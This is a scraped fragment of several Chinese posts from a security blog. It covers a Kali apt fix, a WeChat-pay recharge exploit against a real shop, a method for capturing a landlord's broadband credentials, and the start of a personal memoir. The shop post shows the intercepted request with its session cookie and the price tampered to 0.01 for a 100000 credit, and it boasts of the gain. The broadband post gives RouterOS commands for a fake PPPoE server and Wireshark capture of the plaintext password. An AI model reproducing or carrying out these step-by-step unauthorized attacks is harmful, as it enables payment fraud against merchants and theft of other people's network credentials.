apt-transport-https</pre>\r\n\u7f3a\u5c11\u4f9d\u8d56\uff0c\u5148\u89e3\u51b3\u4f9d\u8d56\u95ee\u9898\uff0c\u5b89\u88c5\u8fd9\u4e2a\u4f9d\u8d56\u5305\r\n<pre class=\"brush:bash;\">apt-get install libapt-pkg-dev</pre>\r\n\u62a5\u9519\r\n<pre class=\"brush:bash;\">\u6b63\u5728\u8bfb\u53d6\u8f6f\u4ef6\u5305\u5217\u8868... \u5b8c\u6210\r\n\u6b63\u5728\u5206\u6790\u8f6f\u4ef6\u5305\u7684\u4f9d\u8d56\u5173\u7cfb\u6811 \r\n\u6b63\u5728\u8bfb\u53d6\u72b6\u6001\u4fe1\u606f... \u5b8c\u6210 \r\n\u60a8\u53ef\u80fd\u9700\u8981\u8fd0\u884c\u201capt-get -f install\u201d\u6765\u7ea0\u6b63\u4e0b\u5217\u9519\u8bef\uff1a\r\n\u4e0b\u5217\u8f6f\u4ef6\u5305\u6709\u672a\u6ee1\u8db3\u7684\u4f9d\u8d56\u5173\u7cfb\uff1a\r\n apt-transport-https : \u4f9d\u8d56: libapt-pkg4.12 (>= 1.0.9.8.3) \u4f46\u65e0\u6cd5\u5b89\u88c5\u5b83\r\n libapt-pkg-dev : \u4f9d\u8d56: libapt-inst (= 1.3~rc4)\r\n \u4f9d\u8d56: libapt-pkg (= 1.3~rc4)\r\nE: \u6709\u672a\u80fd\u6ee1\u8db3\u7684\u4f9d\u8d56\u5173\u7cfb\u3002\u8bf7\u5c1d\u8bd5\u4e0d\u6307\u660e\u8f6f\u4ef6\u5305\u7684\u540d\u5b57\u6765\u8fd0\u884c\u201capt-get -f install\u201d(\u4e5f\u53ef\u4ee5\u6307\u5b9a\u4e00\u4e2a\u89e3\u51b3\u529e\u6cd5)\u3002</pre>\r\n\u6839\u636e\u63d0\u793a\uff0c\u6267\u884c\u547d\u4ee4\r\n<pre class=\"brush:bash;\">apt-get install -f</pre>\r\n\u4f9d\u8d56\u95ee\u9898\u89e3\u51b3\uff0c\u7136\u540e\u6267\u884c\u66f4\u65b0\u64cd\u4f5c\r\n<pre class=\"brush:bash;\">apt-get update</pre>\r\n\u66f4\u65b0\u6210\u529f\uff0c\u95ee\u9898\u89e3\u51b3\r\n<pre class=\"brush:bash;\">\u547d\u4e2d:1 http://mirrors.neusoft.edu.cn/kali kali-rolling InRelease\r\n\u83b7\u53d6:2 https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling InRelease [30.5 kB]\r\n\u83b7\u53d6:3 https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling/main amd64 Packages [14.0 MB]\r\n\u83b7\u53d6:4 https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling/main i386 Packages [13.9 MB]\r\n\u83b7\u53d6:5 https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling/non-free amd64 Packages [154 kB]\r\n\u83b7\u53d6:6 https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling/non-free i386 Packages [139 kB]\r\n\u83b7\u53d6:7 https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling/contrib amd64 Packages [95.4 kB] \r\n\u83b7\u53d6:8 https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling/contrib i386 Packages [91.6 kB] \r\n\u5df2\u4e0b\u8f7d 28.4 MB\uff0c\u8017\u65f6 6\u79d2 (4,580 kB/s) \r\n\u6b63\u5728\u8bfb\u53d6\u8f6f\u4ef6\u5305\u5217\u8868... \u5b8c\u6210</pre>\r\n<h2>\r\n\t\u53c2\u8003\r\n</h2>\r\n<p>\r\n\thttp://debian-mate.lofter.com/post/1e13a9c6_b0be60f\r\n</p>\r\n<p>\r\n\t<br>\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23404 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u67d0\u516c\u53f8\u7528ThinkPHP\u6539\u7684\u5546\u57ce\u5b58\u5728\u7684\u652f\u4ed8\u6f0f\u6d1e"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-09-18, 8:55 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<p>\r\n\t\u9996\u5148\u8fdb\u5165\u4e2a\u4eba\u9875\u9762</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=383\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/6359c17d71f277d9d8013b85b70b2003.jpg\" alt=\"1903379331.jpg - \u5927\u5c0f: 51.47 KB - \u5c3a\u5bf8: 640 x 1136 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"508\" height=\"900\"></a></div>\r\n\r\n<p>\r\n\t\u70b9\u51fb\u5145\u503c\u8fdb\u5165\u5145\u503c\u9875\u9762</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=384\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/dbdf73025693cd7d59a6254f874a8bee.jpg\" alt=\"430970690.jpg - \u5927\u5c0f: 57.52 KB - \u5c3a\u5bf8: 640 x 1136 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"508\" height=\"900\"></a></div>\r\n\r\n<p>\r\n\t\u7136\u540e\u70b9\u51fb\u5145\u503c\u6309\u94ae\uff0c\u62e6\u622a\u8bf7\u6c42\u5730\u5740\u5f97\u5230\r\n</p>\r\n<pre class=\"brush:bash;\">GET /WxpayAPI/weixinpay/js_api_calltmy.php?order_no=125876581523781&price=100&shop_id=1483&spmc=%D3%E0%B6%EE%B3%E4%D6%B5&markprice=100 HTTP/1.1\r\nHost: wx.***.com\r\nCookie: PHPSESSID=a75ba6a56fe46584722754fdadbb7e61; name_id=a75ba6a56fe46584722754fdadbb7e61; PHPSESSID=a75ba6a56fe46584722754fdadbb7e61\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Mobile/14A403 MicroMessenger/6.3.25 NetType/WIFI Language/zh_CN\r\nReferer: http://wx.***.com/ShopIndex.php/User/Indexnew/usable_money/shop_id/1483?&login_member_id=14345\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate</pre>\r\n\u4fee\u6539\u53c2\u6570 price \u548c markprice\uff0c\u4fee\u6539\u540e\u7684\u8bf7\u6c42\u4e3a\r\n<pre class=\"brush:bash;\">GET /WxpayAPI/weixinpay/js_api_calltmy.php?order_no=125876581523781&price=0.01&shop_id=1483&spmc=%D3%E0%B6%EE%B3%E4%D6%B5&markprice=100000 HTTP/1.1\r\nHost: wx.***.com\r\nCookie: PHPSESSID=a75ba6a56fe46584722754fdadbb7e61; name_id=a75ba6a56fe46584722754fdadbb7e61; PHPSESSID=a75ba6a56fe46584722754fdadbb7e61\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Mobile/14A403 MicroMessenger/6.3.25 NetType/WIFI Language/zh_CN\r\nReferer: http://wx.***.com/ShopIndex.php/User/Indexnew/usable_money/shop_id/1483?&login_member_id=14345\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate</pre>\r\n\u7136\u540e\u653e\u884c\uff0c\u8fdb\u5165\u5fae\u4fe1\u652f\u4ed8\uff0c\u663e\u793a\u652f\u4ed80.01\u5143<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=385\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/93fec8a68aa40054d168ce899a31a9e0.jpg\" alt=\"762892600.jpg - \u5927\u5c0f: 56.07 KB - \u5c3a\u5bf8: 640 x 1136 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"508\" height=\"900\"></a></div>\r\n<p>\r\n\t\u8f93\u5165\u5bc6\u7801\u540e\u5c31\u5145\u503c\u6210\u529f\u4e86</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=386\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/0ce99efd02df500666ca7aed4d8e489d.jpg\" alt=\"317115018.jpg - \u5927\u5c0f: 51.71 KB - \u5c3a\u5bf8: 640 x 1136 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"508\" height=\"900\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=387\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/8973b1343250a7dc1e2bb650c1df7811.jpg\" alt=\"1818369419.jpg - \u5927\u5c0f: 58.33 KB - \u5c3a\u5bf8: 640 x 1136 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"508\" height=\"900\"></a></div>\r\n\r\n<p>\r\n\t\u5206\u5206\u949f\u53d8\u571f\u8c6a\uff01\r\n</p>\r\n<h2>\r\n\t\u66f4\u65b0\r\n</h2>\r\n<p>\r\n\t\u542c\u8bf4\u7a0b\u5e8f\u733f\u54e5\u54e5\u5df2\u7ecf\u4fee\u590d\u4e86\u6f0f\u6d1e\uff0c\u8fd8\u662f\u633a\u79ef\u6781\u7684\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23392 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u4f7f\u7528wireshark\u83b7\u53d6\u5bbd\u5e26\u8d26\u53f7\u5bc6\u7801"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-08-15, 12:00 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u5931\u8d25\u7684\u65b9\u6848\r\n</h2>\r\n<h3>\r\n\t\u7b2c\u4e00\u6b21\u5c1d\u8bd5\r\n</h3>\r\n<p>\r\n\t\u81ea\u5df1\u5355\u72ec\u62c9\u4e00\u6761\u7ebf\uff0c\u623f\u4e1c\u7684\u7f51\u76f4\u63a5\u5c31\u4e0d\u7528\uff0c\u6253\u7535\u8bdd\u7ed9\u7535\u4fe1\uff0c\u88ab\u544a\u77e5\u4e00\u6237\u4e00\u7ebf\uff0c\u4e0d\u80fd\u591a\u88c5\uff0c\u5931\u8d25\uff01\r\n</p>\r\n<h3>\r\n\t\u7b2c\u4e8c\u6b21\u5c1d\u8bd5\r\n</h3>\r\n<p>\r\n\t\u7834\u89e3\u8def\u7531\u5668\u5bc6\u7801\uff0c\u62ff\u5230\u6743\u9650\u5565\u90fd\u597d\u529e\uff0c\u53ef\u60dc\u623f\u4e1c\u8def\u7531\u5668\u662f\u65b0\u7248\u6c34\u661f\u7684\u8def\u7531\u5668\uff0c\u5bc6\u7801\u5c1d\u8bd510\u6b21\u5c31\u9501\u5b9a\uff0c\u7206\u7834\u57fa\u672c\u4e0a\u6ca1\u620f\uff0c\u5f31\u53e3\u4ee4\u4e5f\u6ca1\u6709\uff0c\u5931\u8d25\uff01\r\n</p>\r\n<h3>\r\n\t\u7b2c\u4e09\u6b21\u5c1d\u8bd5\r\n</h3>\r\n<p>\r\n\t\u4f7f\u7528P2P\u7ec8\u7ed3\u8005\u5c1d\u8bd5\u9650\u5236\u4e0b\u5176\u4ed6\u4eba\u7684\u7f51\u901f\uff0c\u53d1\u73b0\u5c40\u57df\u7f51\u4e2d\u5df2\u7ecf\u6709\u66f4\u9ad8\u6743\u9650\u7684P2P\u7ec8\u7ed3\u8005\u4e86\uff0c\u5509\uff0c\u6bd5\u7adf\u662fVIP\uff0c\u6211\u7b49\u514d\u8d39\u7528\u6237\u8fd8\u662f\u7b97\u4e86\uff0c\u5931\u8d25\uff01\r\n</p>\r\n<h2>\r\n\t\u7ec8\u6781\u65b9\u6848\r\n</h2>\r\n<p>\r\n\t\u7ecf\u8fc7\u4e09\u6b21\u7684\u5931\u8d25\u4e4b\u540e\uff0c\u6211\u5ffd\u7136\u60f3\u5230\u4e00\u4e2a\u66f4\u597d\u7684\u65b9\u6cd5\uff0c\u65e2\u7136\u65e0\u6cd5\u7834\u89e3\u623f\u4e1c\u8def\u7531\u5668\u7684\u767b\u5f55\u5bc6\u7801\uff0c\u90a3\u5c31\u76f4\u63a5\u628a\u4ed6\u7684\u8def\u7531\u5668\u6362\u6210\u6211\u7684\u4e0d\u5c31\u641e\u5b9a\u4e86\uff1f\r\n</p>\r\n<p>\r\n\t\u54c8\u54c8\u54c8\uff0c\u60f3\u5230\u8fd9\u513f\u5fc3\u91cc\u4e00\u9635\u7a83\u559c\uff0c\u53ef\u662f\u95ee\u9898\u6765\u4e86\uff0c\u7528\u6211\u81ea\u5df1\u7684\u8def\u7531\u5668\u6211\u4e5f\u5f97\u62e8\u53f7\u554a\uff0c\u5bbd\u5e26\u8d26\u53f7\u5bc6\u7801\u662f\u591a\u5c11\u6211\u90fd\u4e0d\u77e5\u9053\u554a\uff0c\u8fd9\u53ef\u548b\u529e\uff1f\r\n</p>\r\n<p>\r\n\t\u5ffd\u7136\u60f3\u5230\u4e4b\u524d\u542c\u8bf4\u53ef\u4ee5\u81ea\u5df1\u642d\u5efaPPPOE\u670d\u52a1\u5668\uff0c\u8fd9\u6837\u8def\u7531\u5668\u53d1\u8d77PPPOE\u8ba4\u8bc1\u7684\u65f6\u5019\u5c31\u80fd\u62ff\u5230\u5bbd\u5e26\u8d26\u53f7\u5bc6\u7801\u4e86\uff0c\u55ef\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u4e0d\u9519\uff0c\u8bf4\u5e72\u5c31\u5e72\u3002\r\n</p>\r\n<h2>\r\n\t\u52a8\u624b\u5b9e\u6218\r\n</h2>\r\n<h3>\r\n\t\u83b7\u53d6RouterOS\r\n</h3>\r\n<p>\r\n\t\u8fd9\u91cc\u4f7f\u7528RouterOS\u6765\u5b9e\u73b0PPPOE\u670d\u52a1\u5668\u7684\u529f\u80fd\u3002\u9996\u5148\u4e0b\u8f7d RouterOS\u7684\u955c\u50cf\uff0c\u4e0b\u8f7d\u5730\u5740 http://www.routeros.com.cn/download/ROS/ros-6.36/x86/mikrotik-6.36.rar \u89e3\u538b\u540e\u5c31\u80fd\u770b\u5230\u4e00\u4e2a\u540d\u4e3amikrotik-6.36.iso\u7684\u955c\u50cf\u6587\u4ef6\u3002\r\n</p>\r\n<h3>\r\n\t\u8bbe\u7f6eVM\r\n</h3>\r\n<p>\r\n\t\u6211\u4eec\u4e3a\u4e86\u65b9\u4fbf\uff0c\u76f4\u63a5\u5728\u865a\u62df\u673a\u4e0b\u9762\u64cd\u4f5c\u5c31\u597d\u4e86\uff0c\u5b89\u88c5\u597d\u865a\u62df\u673a\u4ee5\u540e\uff0c\u65b0\u5efa\u4e00\u4e2a\u865a\u62df\u673a\uff0c\u7c7b\u578b\u90fd\u9009\u62e9\u5176\u4ed6\uff0c\u955c\u50cf\u9009\u62e9\u4e0a\u9762\u4e0b\u8f7d\u7684\u90a3\u4e2aISO\u955c\u50cf\uff0c\u7f51\u7edc\u8bbe\u7f6e\u5982\u56fe\u8bbe\u7f6e\r\n</p>\r\n<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=388\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/363a31e72787da2bcb0d5deb8f8b4b40.png\" alt=\"--.png - \u5927\u5c0f: 36.63 KB - \u5c3a\u5bf8: 728 x 414 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"728\" height=\"414\"></a></div>\r\n<p>\r\n\t\u865a\u62df\u7f51\u7edc\u8bbe\u7f6e\u91cc\u9762\u4fee\u6539\u6865\u63a5\u7f51\u5361\u4e3a\u6709\u7ebf\u7f51\u5361\uff0c\u56e0\u4e3a\u540e\u9762\u62e8\u53f7\u8def\u7531\u5668\u7684WAN\u53e3\u4f1a\u63a5\u5230\u7535\u8111\u7684\u7f51\u5361\u3002\u5982\u56fe\u4fee\u6539\r\n</p>\r\n<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=389\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/b282850e1b24bd7c957e54f69889afa1.png\" alt=\"--1.png - \u5927\u5c0f: 43.35 KB - \u5c3a\u5bf8: 604 x 538 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"604\" height=\"538\"></a></div>\r\n<h3>\r\n\t\u521b\u5efaPPPOE\u8ba4\u8bc1\u670d\u52a1\u5668\r\n</h3>\r\n<p>\r\n\t\u542f\u52a8\u865a\u62df\u673a\uff0c\u542f\u52a8\u540e\u7684\u754c\u9762\u5982\u56fe\u6240\u793a\uff0c\u8fd9\u91cc\u54b1\u4eec\u53ea\u9700\u8981\u5b89\u88c5pppoe\u670d\u52a1\u5668\uff0c\u6240\u4ee5\u9009\u62e9system\u548cppp\u9009\u9879\u5c31\u53ef\u4ee5\u4e86\uff0c\u6309\u7a7a\u683c\u662f\u9009\u4e2d\uff0c\u9009\u4e2d\u540e\u6309\u5b57\u6bcdi\u5c31\u53ef\u4ee5\u5b89\u88c5\u4e86\u3002\r\n</p>\r\n<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=390\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/152c9103a687538c9a7fc68b6bb535d1.png\" alt=\"--3.png - \u5927\u5c0f: 17.18 KB - \u5c3a\u5bf8: 759 x 472 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"759\" height=\"472\"></a></div>\r\n<p>\r\n\t\u6839\u636e\u63d0\u793a\u4e00\u8def\u6309y\u5c31\u53ef\u4ee5\u5b89\u88c5\u5b8c\u6210\uff0c\u5982\u56fe\u6240\u793a\r\n</p>\r\n<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=391\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/16fa97593d7618b35f99a00ada91efe2.png\" alt=\"--4.png - \u5927\u5c0f: 13.97 KB - \u5c3a\u5bf8: 720 x 345 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"720\" height=\"345\"></a></div>\r\n<p>\r\n\t\u6700\u540e\u6309\u56de\u8f66\u91cd\u542f\u5c31\u5b89\u88c5\u597d\u4e86\uff0c\u81ea\u52a8\u91cd\u542f\u540e\u8f93\u5165\u7528\u6237admin\u5bc6\u7801\u4e3a\u7a7a\u5373\u53ef\u767b\u5f55\u5230\u7cfb\u7edf\uff0c\u7136\u540e\u4f1a\u8be2\u95ee\u662f\u5426\u8981\u67e5\u770bLicense\uff0c\u76f4\u63a5\u6309n\u5c31\u597d\u4e86\uff0c\u7136\u540e\u63d0\u793a\u6309\u56de\u8f66\uff0c\u6700\u540e\u5c31\u8fdb\u5165\u5230\u4e86\u7cfb\u7edf\u91cc\u9762\u3002\r\n</p>\r\n<h3>\r\n\t\u914d\u7f6ePPPOE\u670d\u52a1\u5668\r\n</h3>\r\n<h3>\r\n</h3>\r\n<p>\r\n\t\u63a5\u4e0b\u6765\u5bf9PPPOE\u670d\u52a1\u5668\u8fdb\u884c\u914d\u7f6e\uff0c\u6309\u987a\u5e8f\u6267\u884c\u5982\u4e0b\u6307\u4ee4\u5373\u53ef\u5b8c\u6210PPPOE\u670d\u52a1\u5668\u7684\u914d\u7f6e\r\n</p>\r\n<pre class=\"brush:bash;\">/interface pppoe-server server add interface=ether1 service-name=Fake-PPPoE-Server authentication=pap\r\n/interface pppoe-server server enable 0</pre>\r\n<h2>\r\n\t\u83b7\u53d6PPPOE\u8d26\u53f7\u5bc6\u7801\r\n</h2>\r\n<p>\r\n\t\u9996\u5148\u5b89\u88c5wireshark\uff0c\u8f6f\u4ef6\u5f00\u8d77\u6765\u76d1\u542c\u672c\u5730\u8fde\u63a5\uff0c\u628a\u62e8\u53f7\u8def\u7531\u5668\u7684wan\u53e3\u7f51\u7ebf\u63d2\u5230\u7535\u8111\u7684\u7f51\u53e3\u4e0a\uff0c\u65ad\u5f00\u8def\u7531\u7535\u6e90\uff0c\u91cd\u65b0\u4e0a\u7535\uff0c\u5c31\u4f1a\u5728wireshark\u4e0a\u770b\u5230\u6574\u4e2aPPPOE\u8ba4\u8bc1\u7684\u6d41\u7a0b\uff0c\u8fd9\u91cc\u53ea\u9700\u8981\u627e\u5230PPP PAP\u534f\u8bae\u91cc\u9762\u7684Authenticate-Request\u5c31\u662f\u5bbd\u5e26\u7684\u8d26\u53f7\u5bc6\u7801\uff0c\u660e\u6587\u4f20\u8f93\u3002\r\n</p>\r\n<p>\r\n\t\u5982\u56fe\u662f\u6211\u83b7\u53d6\u5230\u7684\u623f\u4e1c\u8def\u7531\u5668\u91cc\u9762\u7684\u5bbd\u5e26\u8d26\u53f7\u5bc6\u7801\r\n</p>\r\n<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=392\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/74eaaf39bca3fb1b084d458feea4d862.png\" alt=\"--6-1.png - \u5927\u5c0f: 214.25 KB - \u5c3a\u5bf8: 534 x 213 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"534\" height=\"213\"></a></div>\r\n<p>\r\n\t\u62ff\u5230\u4e86\u5bbd\u5e26\u7684\u8d26\u53f7\u5bc6\u7801\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u76f4\u63a5\u6362\u4e0a\u81ea\u5df1\u7684\u8def\u7531\u5668\uff0c\u6743\u9650\u5728\u624b\uff0c\u8fd8\u6015\u5565\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23393 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u6211\u7684\u5b89\u5168\u7814\u7a76\u4e4b\u8def"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-08-15, 12:00 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<section class=\"post-content\">\r\n<h2 id=\"\">\r\n\t\u5f15\u5b50\r\n</h2>\r\n<p>\r\n\t\u8fd8\u8bb0\u5f97\u5927\u5b66\u7684\u65f6\u5019\u6709\u4e2a\u5b66\u957f\uff0c\u5f53\u65f6\u89c9\u5f97\u5f88\u725b\u903c\uff0c\u73a9\u670d\u52a1\u5668\u73a9\u7684\u5f886\uff0c\u7ecf\u5e38\u51cc\u6668\u4e09\u56db\u70b9\u8fd8\u5728\u65e5\u522b\u4eba\u670d\u52a1\u5668\uff0c\u5728\u5b66\u6821\u7684\u65f6\u5019\u8fd8\u88ab\u8b66\u5bdf\u8bf7\u53bb\u559d\u8336\u4e86\uff0c\u540e\u6765\u8003\u5165\u53a6\u95e8\u7406\u5de5\uff0c\u53c8\u9ed1\u4e86\u5b66\u6821\u7684\u67d0\u7cfb\u7edf\uff0c\u5bfc\u81f4\u88ab\u8feb\u56de\u5bb6\u5446\u4e86\u4e00\u6bb5\u65f6\u95f4\uff0c\u53cd\u6b63\u662f\u4e2a\u5f88\u725b\u903c\u7684\u4eba\u7269\u3002\r\n</p>\r\n<p>\r\n\t\u5927\u4e8c\u7684\u65f6\u5019\u5c31\u542c\u4ed6\u8bf4\u8fc7\u4e4c\u4e91\u8fd9\u4e2a\u7f51\u7ad9\uff0c\u5f53\u65f6\u5e76\u4e0d\u77e5\u9053\u662f\u5e72\u5565\u7684\uff0c\u4e0a\u9762\u7684\u90a3\u4e9b\u6f0f\u6d1e\u6211\u4e5f\u90fd\u770b\u4e0d\u61c2\uff0c\u6ca1\u5728\u610f\u3002\r\n</p>\r\n<p>\r\n\t\u4e00\u6643\u5c31\u8981\u6bd5\u4e1a\u4e86\uff0c\u5927\u7ea6\u572813\u5e745\u6708\u4efd\u7684\u65f6\u5019\uff0c\u5076\u7136\u6253\u5f00\u4e86\u4e00\u4e2a\u4e4b\u524d\u5b66\u957f\u7ed9\u7535\u4fe1\u505a\u7684\u4e00\u4e2a\u9879\u76ee\uff0c\u56e0\u4e3a\u4e3b\u4fee\u524d\u7aef\u7684\u539f\u56e0\uff0c\u4e60\u60ef\u4e86\u706b\u72d0\uff0c\u4e5f\u4e60\u60ef\u4e86Firebug\u63d2\u4ef6\uff0c\u5e73\u65f6\u4e0a\u7f51\u4e5f\u90fd\u5f00\u7740firebug\u3002\r\n</p>\r\n<h2 